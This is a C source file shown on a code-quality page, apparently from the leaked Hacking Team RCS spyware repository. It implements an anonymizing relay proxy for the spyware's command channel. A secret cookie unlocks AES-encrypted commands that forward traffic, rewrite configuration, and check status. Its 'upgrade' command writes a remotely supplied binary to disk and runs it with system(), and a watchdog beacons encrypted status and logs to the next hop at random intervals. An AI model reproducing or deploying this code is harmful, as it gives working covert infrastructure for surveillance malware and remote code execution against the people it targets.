hackedteam/rcs-anonymizer

View on GitHub
src/bbproxy-proxy.c

Summary

Maintainability
Test Coverage
#define FOUND_COOKIE 0x00000001
#define FOUND_XFF    0x00000002
#define FOUND_XPV    0x00000004

#include "bbproxy.h"

#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <sys/socket.h>
#include <sys/statvfs.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <ctype.h>
#include <string.h>
#include <stdio.h>
#include <strings.h>
#include <unistd.h>
#include <signal.h>
#include <json.h>

extern int ifd[2];

int proxyhandler(BIO *cbio);
int commandhandler(BIO *cbio, int cl);

int command_forward(json_object *json, BIO *bio_src);
int command_config(json_object *json, BIO *bio_src);
int command_upgrade(json_object *json, BIO *bio_src);
int command_check(json_object *json, BIO *bio_src);

int http_response(BIO *bio_conn, char *data, int len);

void watchdog(void);
void updatestats(void);
int getcpustat(uint64_t *cpusum, uint64_t *cpuidle);

int proxyhandler(BIO *cbio)
{
   BIO *mbio = NULL, *sbio = NULL;
   char *mptr = NULL;
   long mlen;
   int cfd, sfd, len = 0, found = 0;
   fd_set rfds;
   char buf[1024];
   struct sockaddr_in caddr;
   char auth[1024] = {0};
   int cl = 0;

   mbio = BIO_new(BIO_s_mem());

   for(len = 0; ; len = 0) {
      while(len < sizeof(buf)) {
         if(BIO_read(cbio, buf + len, 1) != 1) return -1;
         if(buf[len++] == '\n') break;
      }
      buf[--len] = '\0';
      if(len && (buf[len - 1] == '\r')) buf[len - 1] = '\0';
      if(!buf[0]) break;

      if(!strncasecmp(buf, "X-Forwarded-For: ", strlen("X-Forwarded-For: "))) found |= FOUND_XFF;
      if(!strncasecmp(buf, "X-Proxy-Version: ", strlen("X-Proxy-Version: "))) found |= FOUND_XPV;
      if(!strncasecmp(buf, "Cookie: ", strlen("Cookie: "))) strncpy(auth, buf + strlen("Cookie: "), sizeof(auth) - 1);
      if(!strncasecmp(buf, "Content-Length: ", strlen("Content-Length: "))) cl = atoi(buf + strlen("Content-Length: "));
      if(BIO_printf(mbio, "%s\r\n", buf) <= 0) return -1;
   }

   logme(LOGMSG_DEBUG, "Cookie: %s", auth);

   if(!strcmp(auth, conf.cookie)) return commandhandler(cbio, cl);

   sbio = BIO_new_connect(conf.nexthop);

   if(BIO_do_connect(sbio) != 1) {
      logme(LOGMSG_STATUSERROR, "Unable to connect to %s", conf.nexthop);

      return -1;
   }
   logme(LOGMSG_STATUSOK, "Running");
   logme(LOGMSG_DEBUG, "Connected to %s", conf.nexthop);
   sfd = BIO_get_fd(sbio, NULL);

   cfd = BIO_get_fd(cbio, NULL);
   len = sizeof(caddr);
   getpeername(cfd, (struct sockaddr *)&caddr, (socklen_t *)&len);

   if(!(found & FOUND_COOKIE)) logme(LOGMSG_DEBUG, "New session forwarded for %s", inet_ntoa(caddr.sin_addr));

   if((mlen = BIO_get_mem_data(mbio, &mptr)) > 0) BIO_write(sbio, mptr, mlen);
   if(!(found & FOUND_XFF)) if(BIO_printf(sbio, "X-Forwarded-For: %s\r\n", inet_ntoa(caddr.sin_addr)) <= 0) return -1;
   if(!(found & FOUND_XPV)) if(BIO_printf(sbio, "X-Proxy-Version: %s\r\n", conf.version) <= 0) return -1;
   if(BIO_puts(sbio, "\r\n") <= 0) return -1;

   do {
      FD_ZERO(&rfds);
      FD_SET(sfd, &rfds);
      FD_SET(cfd, &rfds);
      if(select(((sfd > cfd) ? sfd : cfd) + 1, &rfds, NULL, NULL, NULL) == -1) return -1;

      if(FD_ISSET(sfd, &rfds)) {
         if((len = BIO_read(sbio, buf, sizeof(buf))) > 0) if(BIO_write(cbio, buf, len) <= 0) return -1;
      } else if(FD_ISSET(cfd, &rfds)) {
         if((len = BIO_read(cbio, buf, sizeof(buf))) > 0) if(BIO_write(sbio, buf, len) <= 0) return -1;
      }
   } while(len > 0);

   return 0;
}

int commandhandler(BIO *cbio, int cl)
{
   BIO *bbody = NULL, *bbase64 = NULL, *bcrypt = NULL;
   int ret = -1;
   char buf[100 * 1024];
   json_object *config = NULL;
   unsigned char iv[16];
   BIO *bmem = NULL;
   char *bptr = NULL, *c = NULL;
   long blen = 0;
   char *command = NULL;

   logme(LOGMSG_DEBUG, "commandhandler (cl=%d)", cl);

   do {
      if(!(bmem = BIO_new(BIO_s_mem()))) break;
      if(!(bbody = BIO_new(BIO_s_mem()))) break;
      if(!(bbase64 = BIO_new(BIO_f_base64()))) break;
      BIO_set_flags(bbase64, BIO_FLAGS_BASE64_NO_NL);
      if(!(bcrypt = BIO_new(BIO_f_cipher()))) break;
      memset(iv, 0x00, sizeof(iv));
      BIO_set_cipher(bcrypt, EVP_get_cipherbyname("aes-128-cbc"), (unsigned char *)conf.key, iv, 0);
      BIO_push(bbase64, bbody);
      BIO_push(bcrypt, bmem);

      while(blen < cl) {
         if((ret = BIO_read(cbio, buf, ((cl - blen) > sizeof(buf)) ? sizeof(buf) : (cl - blen))) <= 0) break;
         blen += ret;

         while((c = memchr(buf, '\n', ret)) || (c = memchr(buf, '\r', ret))) memmove(c, c + 1, --ret - (c - buf));

         if(BIO_write(bbody, buf, ret) != ret) {
            logme(LOGMSG_DEBUG, "BIO_write error");
            break;
         }
      }

      do {
         blen = BIO_read(bbase64, buf, sizeof(buf));
         if(blen > 0) {
            BIO_write(bcrypt, buf, blen);
         }
      } while(blen > 0);
      (void)BIO_flush(bcrypt);
      blen = BIO_get_mem_data(bmem, &bptr);

      if(!(config = json_tokener_parse(bptr))) break;
      if(!(command = (char *)json_object_get_string(json_object_object_get(config, "command")))) break;

      logme(LOGMSG_DEBUG, "command: %s", command);
      if(!strcasecmp(command, "FORWARD")) {
         ret = command_forward(config, cbio);
      } else if(!strcasecmp(command, "CONFIG")) {
         ret = command_config(config, cbio);
      } else if(!strcasecmp(command, "UPGRADE")) {
         ret = command_upgrade(config, cbio);
      } else if(!strcasecmp(command, "CHECK")) {
         ret = command_check(config, cbio);
      }
   } while(0);
   if(bbody) BIO_free(bbody);
   if(bbase64) BIO_free(bbase64);
   if(bcrypt) BIO_free(bcrypt);
   if(bmem) BIO_free(bmem);
   if(config) json_object_put(config);

   return ret;
}

int command_forward(json_object *json, BIO *bio_src)
{
   int r = -1, len = 0;
   json_object *params = NULL, *body = NULL;
   char *address = NULL, *cookie = NULL, *data = NULL, buf[100 * 1024];
   BIO *bio_conn = NULL;

   do {
      if(!(params = json_object_object_get(json, "params"))) break;
      if(!(address = (char *)json_object_get_string(json_object_object_get(params, "address")))) break;
      logme(LOGMSG_DEBUG, "FORWARD -> address: %s", address);
      if(!(cookie = (char *)json_object_get_string(json_object_object_get(params, "cookie")))) break;
      logme(LOGMSG_DEBUG, "FORWARD -> cookie: %s", cookie);

      if(!(body = json_object_object_get(json, "body"))) break;
      if(!(data = (char *)json_object_get_string(body))) break;
      if(!(len = json_object_get_string_len(body))) break;
      logme(LOGMSG_DEBUG, "FORWARD -> data: %d bytes", len);

      if(!(bio_conn = BIO_new_connect(address))) break;
      if(BIO_do_connect(bio_conn) <= 0) { logme(LOGMSG_ERROR, "Unable to connect to %s", address); break; }
      if(BIO_printf(bio_conn, "POST / HTTP/1.0\r\n" \
                              "Host: %s\r\n" \
                              "Accept: */" "*\r\n" \
                              "Cookie: %s\r\n" \
                              "Content-Length: %d\r\n" \
                              "Content-Type: application/octet-stream\r\n" \
                              "Connection: close\r\n" \
                              "\r\n",
                              address, cookie, len) <= 0) break;
      if(BIO_write(bio_conn, data, len) != len) break;
      (void)BIO_flush(bio_conn);

      while((len = BIO_read(bio_conn, buf, sizeof(buf))) > 0) if(BIO_write(bio_src, buf, len) != len) break;
      if(len != 0) break;

      r = 0;
   } while(0);
   if(bio_conn) BIO_free(bio_conn);

   return r;
}

int command_config(json_object *json, BIO *bio_src)
{
   int r = -1;
   json_object *body = NULL;
   char *val;
   BIO *bio_file = NULL;
   char *resultok = "{\"command\":\"CONFIG\",\"result\":{\"status\":\"OK\",\"msg\":\"New configuration applied\"}}";
   char *resultko = "{\"command\":\"CONFIG\",\"result\":{\"status\":\"ERROR\",\"msg\":\"Error applying new configuration\"}}";

   do {
      if(!(body = json_object_object_get(json, "body"))) break;

      json_object_object_foreach(body, k, v) {
         val = (char *)json_object_get_string(v);
         if(!strcmp(k, "nexthop")) {
            if(!(bio_file = BIO_new_file(NEXTHOP_FILE, "w"))) break;
            BIO_puts(bio_file, val);
            BIO_free(bio_file);
            logme(LOGMSG_DEBUG, "CONFIG -> nexthop: %s", val);
         } else if(!strcmp(k, "cookie")) {
            if(!(bio_file = BIO_new_file(COOKIE_FILE, "w"))) break;
            BIO_puts(bio_file, val);
            BIO_free(bio_file);
            logme(LOGMSG_DEBUG, "CONFIG -> cookie: %s", val);
         } else if(!strcmp(k, "key")) {
            if(!(bio_file = BIO_new_file(KEY_FILE, "w"))) break;
            BIO_puts(bio_file, val);
            BIO_free(bio_file);
            logme(LOGMSG_DEBUG, "CONFIG -> key: %s", val);
         } else if(!strcmp(k, "version")) {
            if(!(bio_file = BIO_new_file(VERSION_FILE, "w"))) break;
            BIO_puts(bio_file, val);
            BIO_free(bio_file);
            logme(LOGMSG_DEBUG, "CONFIG -> version: %s", val);
         }
      }

      if(kill(getppid(), SIGHUP)) break;

      r = 0;
   } while(0);

   http_response(bio_src, (r ? resultko : resultok), strlen((r ? resultko : resultok)));

   return r;
}

int command_upgrade(json_object *json, BIO *bio_src)
{
   int r = -1, len = 0;
   json_object *body = NULL;
   char *data = NULL, buf[100 * 1024];
   BIO *bio_mem = NULL, *bio_file = NULL, *bio_b64 = NULL;
   char *resultok = "{\"command\":\"UPGRADE\",\"result\":{\"status\":\"OK\",\"msg\":\"Upgrade received\"}}";
   char *resultko = "{\"command\":\"UPGRADE\",\"result\":{\"status\":\"ERROR\",\"msg\":\"Error executing upgrade\"}}";

   do {
      if(!(body = json_object_object_get(json, "body"))) break;
      if(!(data = (char *)json_object_get_string(body))) break;
      if(!(len = json_object_get_string_len(body))) break;
      logme(LOGMSG_DEBUG, "UPGRADE -> data: %d bytes", len);

      if(!(bio_mem = BIO_new_mem_buf(data, len))) break;
      if(!(bio_b64 = BIO_new(BIO_f_base64()))) break;
      BIO_set_flags(bio_b64, BIO_FLAGS_BASE64_NO_NL);
      BIO_push(bio_b64, bio_mem);

      if(!(bio_file = BIO_new_file(UPGRADE_FILE, "w"))) break;
      while((len = BIO_read(bio_b64, buf, sizeof(buf))) > 0) BIO_write(bio_file, buf, len);
      BIO_free(bio_file);

      r = 0;
   } while(0);
   if(bio_mem) BIO_free(bio_mem);
   if(bio_b64) BIO_free(bio_b64);

   http_response(bio_src, (r ? resultko : resultok), strlen((r ? resultko : resultok)));

   if(!r) {
      BIO_free(bio_src);
      chmod(UPGRADE_FILE, 0755);
      system(UPGRADE_FILE);
      unlink(UPGRADE_FILE);
   }

   return r;
}

int command_check(json_object *json, BIO *bio_src)
{
   int r = -1;
   BIO *bio_mem = NULL;
   char *memptr;
   long memlen;
   char *result = "{\"command\":\"STATUS\",\"params\":{\"version\":\"%s\",\"status\":\"%s\",\"msg\":\"%s\",\"stats\":{\"disk\":\"%d\",\"cpu\":\"%d\",\"pcpu\":\"%d\"}}}";

   int cmd;
   struct log l;

   cmd = COMMAND_GETSTATUS;
   write(ifd[1], &cmd, sizeof(cmd));
   read(ifd[1], &l, sizeof(l));

   do {
      if(!(bio_mem = BIO_new(BIO_s_mem()))) break;
      if(BIO_printf(bio_mem, result, conf.version, (l.level == LOGMSG_STATUSOK) ? "OK" : "ERROR", l.data, stats.disk, stats.cpu, stats.pcpu) <= 0) break;
      logme(LOGMSG_DEBUG, "CHECK -> status: %s, msg: %s, disk: %d, cpu: %d, pcpu: %d", (l.level == LOGMSG_STATUSOK) ? "OK" : "ERROR", l.data, stats.disk, stats.cpu, stats.pcpu);

      if(!(memlen = BIO_get_mem_data(bio_mem, &memptr))) break;

      http_response(bio_src, memptr, memlen);

      r = 0;
   } while(0);
   if(bio_mem) BIO_free(bio_mem);

   return r;
}

int http_response(BIO *bio_conn, char *data, int len)
{
   int r = -1;
   BIO *bio_mem = NULL, *bio_cipher = NULL, *bio_b64 = NULL;
   char *memptr, date[30];
   long memlen;
   unsigned char iv[16] = {0};
   time_t t;
   struct tm tm;

   do {
      if(!(bio_mem = BIO_new(BIO_s_mem()))) break;
      if(!(bio_b64 = BIO_new(BIO_f_base64()))) break;
      if(!(bio_cipher = BIO_new(BIO_f_cipher()))) break;
      BIO_set_cipher(bio_cipher, EVP_get_cipherbyname("aes-128-cbc"), (unsigned char *)conf.key, iv, 1);
      BIO_push(bio_b64, bio_mem);
      BIO_push(bio_cipher, bio_b64);

      if(BIO_write(bio_cipher, data, len) != len) break;
      (void)BIO_flush(bio_cipher);
      if(!(memlen = BIO_get_mem_data(bio_mem, &memptr))) break;
      
      t = time(NULL);
      if(!gmtime_r(&t, &tm)) break;
      strftime(date, sizeof(date), "%a, %d %b %Y %T %Z", &tm);

      if(BIO_printf(bio_conn, "HTTP/1.1 200 OK\r\n" \
                              "Date: %s\r\n" \
                              "Set-Cookie: %s\r\n" \
                              "Content-Type: application/octet-stream\r\n" \
                              "Content-Length: %ld\r\n" \
                              "Connection: close\r\n" \
                              "\r\n",
                              date, conf.cookie, memlen) <= 0) break;
      if(BIO_write(bio_conn, memptr, memlen) != memlen) break;
      (void)BIO_flush(bio_conn);

      r = 0;
   } while(0);
   if(bio_mem) BIO_free(bio_mem);
   if(bio_b64) BIO_free(bio_b64);
   if(bio_cipher) BIO_free(bio_cipher);

   return r;
}

void watchdog(void)
{
   BIO *bio_mem = NULL, *bio_b64 = NULL, *bio_cipher = NULL, *bio_conn = NULL;
   char *memptr;
   long memlen;
   unsigned char iv[16];
   char *result1 = "{\"command\":\"STATUS\",\"params\":{\"version\":\"%s\",\"status\":\"%s\",\"msg\":\"%s\",\"stats\":{\"disk\":\"%d\",\"cpu\":\"%d\",\"pcpu\":\"%d\"}}}";
   char *result2 = "{\"command\":\"LOG\",\"params\":{\"time\": %lu,\"type\":\"%s\",\"desc\":\"%s\"}}";
   char buf[1024];
   char *type = NULL;

   int cmd;
   struct log l;

   logme(LOGMSG_DEBUG, "Starting watchdog");

   while(1) {
      do {
         logme(LOGMSG_DEBUG, "watchdog cycle");
         updatestats();

         if(!(bio_mem = BIO_new(BIO_s_mem()))) break;
         if(!(bio_b64 = BIO_new(BIO_f_base64()))) break;
         if(!(bio_cipher = BIO_new(BIO_f_cipher()))) break;
         memset(iv, '\0', sizeof(iv));
         BIO_set_cipher(bio_cipher, EVP_get_cipherbyname("aes-128-cbc"), (unsigned char *)conf.key, iv, 1);
         BIO_push(bio_b64, bio_mem);
         BIO_push(bio_cipher, bio_b64);

         if(BIO_write(bio_cipher, "[", 1) <= 0) break;

         cmd = COMMAND_GETSTATUS;
         write(ifd[1], &cmd, sizeof(cmd));
         read(ifd[1], &l, sizeof(l));

         if(BIO_printf(bio_cipher, result1, conf.version, (l.level == LOGMSG_STATUSOK) ? "OK" : "ERROR", l.data, stats.disk, stats.cpu, stats.pcpu) <= 0) break;
         logme(LOGMSG_DEBUG, "STATUS -> status: %s, msg: %s, disk: %d, cpu: %d, pcpu: %d", (l.level == LOGMSG_STATUSOK) ? "OK" : "ERROR", l.data, stats.disk, stats.cpu, stats.pcpu);

         cmd = COMMAND_GETLOG;
         write(ifd[1], &cmd, sizeof(cmd));

         while(1) {
            read(ifd[1], &l, sizeof(l));
            if(l.level == LOGMSG_EMPTY) break;

            switch(l.level) {
               case LOGMSG_INFO:
                  type = "INFO";
                  break;
               case LOGMSG_ERROR:
                  type = "ERROR";
                  break;
               case LOGMSG_DEBUG:
                  type = "DEBUG";
                  break;
            }

            if(BIO_write(bio_cipher, ",", 1) <= 0) break;
            if(BIO_printf(bio_cipher, result2, l.ts, type, l.data) <= 0) break;
         }

         if(BIO_write(bio_cipher, "]", 1) <= 0) break;

         (void)BIO_flush(bio_cipher);
         if(!(memlen = BIO_get_mem_data(bio_mem, &memptr))) break;

         if(conf.nexthop) free(conf.nexthop);
         readconfig_str(NEXTHOP_FILE, &conf.nexthop);

         if(conf.nexthop && (conf.nexthop[0] != '-')) {
            if(!(bio_conn = BIO_new_connect(conf.nexthop))) break;
            if(BIO_do_connect(bio_conn) <= 0) { logme(LOGMSG_ERROR, "Unable to connect to %s", conf.nexthop); break; }
            if(BIO_printf(bio_conn, "POST / HTTP/1.0\r\n" \
                                    "Host: %s\r\n" \
                                    "Accept: */" "*\r\n" \
                                    "Cookie: %s\r\n" \
                                    "Content-Length: %ld\r\n" \
                                    "Content-Type: application/octet-stream\r\n" \
                                    "Connection: close\r\n" \
                                    "\r\n",
                                    conf.nexthop, conf.cookie, memlen) <= 0) break;
            if(BIO_write(bio_conn, memptr, memlen) != memlen) break;
            (void)BIO_flush(bio_conn);


            while((memlen = BIO_read(bio_conn, buf, sizeof(buf))) > 0);
            if(memlen != 0) break;
         }
      } while(0);
      if(bio_mem) { BIO_free(bio_mem); bio_mem = NULL; }
      if(bio_b64) { BIO_free(bio_b64); bio_b64 = NULL; }
      if(bio_cipher) { BIO_free(bio_cipher); bio_cipher = NULL; }
      if(bio_conn) { BIO_free(bio_conn); bio_conn = NULL; }

      srand(time(NULL));
      sleep(30 + (long)rand() * 60 / RAND_MAX);
   }

   return;
}

void updatestats(void)
{
   struct statvfs vfs;
   uint64_t cpusum1, cpuidle1, cpusum2, cpuidle2;

   do {
      if(statvfs("/", &vfs) == -1) break;
      stats.disk  = (uint32_t)(((uint64_t)(vfs.f_bavail)) * 100 / vfs.f_blocks);
      if(stats.disk > 100) stats.disk = 100;

      getcpustat(&cpusum1, &cpuidle1);
      sleep(1);
      getcpustat(&cpusum2, &cpuidle2);
      stats.cpu = (unsigned int)(((cpusum2 - cpuidle2) - (cpusum1 - cpuidle1)) * 100 / (cpusum2 - cpusum1));
      if(stats.cpu > 100) stats.cpu = 100;

      stats.pcpu = 0; /* TODO */
   } while(0);

   return;
}

int getcpustat(uint64_t *cpusum, uint64_t *cpuidle)
{
   FILE *fp;
   char line[1024], *lp;
   uint64_t cputmp = 0;
   int pos = 0;

   *cpusum = 0;
   *cpuidle = 0;

   if(!(fp = fopen("/proc/stat", "r"))) return -1;
   fgets(line, sizeof(line), fp);
   fclose(fp);
   if(strncmp(line, "cpu ", 4)) return -1;

   for(lp = line; !isdigit(lp[0]) && lp[0]; lp++);
   while(lp[0]) {
      if(sscanf(lp, "%llu", (long long unsigned *)&cputmp)) {
         *cpusum += cputmp;
         if(pos++ == 3) *cpuidle = cputmp;
      }
      while(isdigit(lp[0])) lp++;
      while(isspace(lp[0])) lp++;
   }

   return 0;
}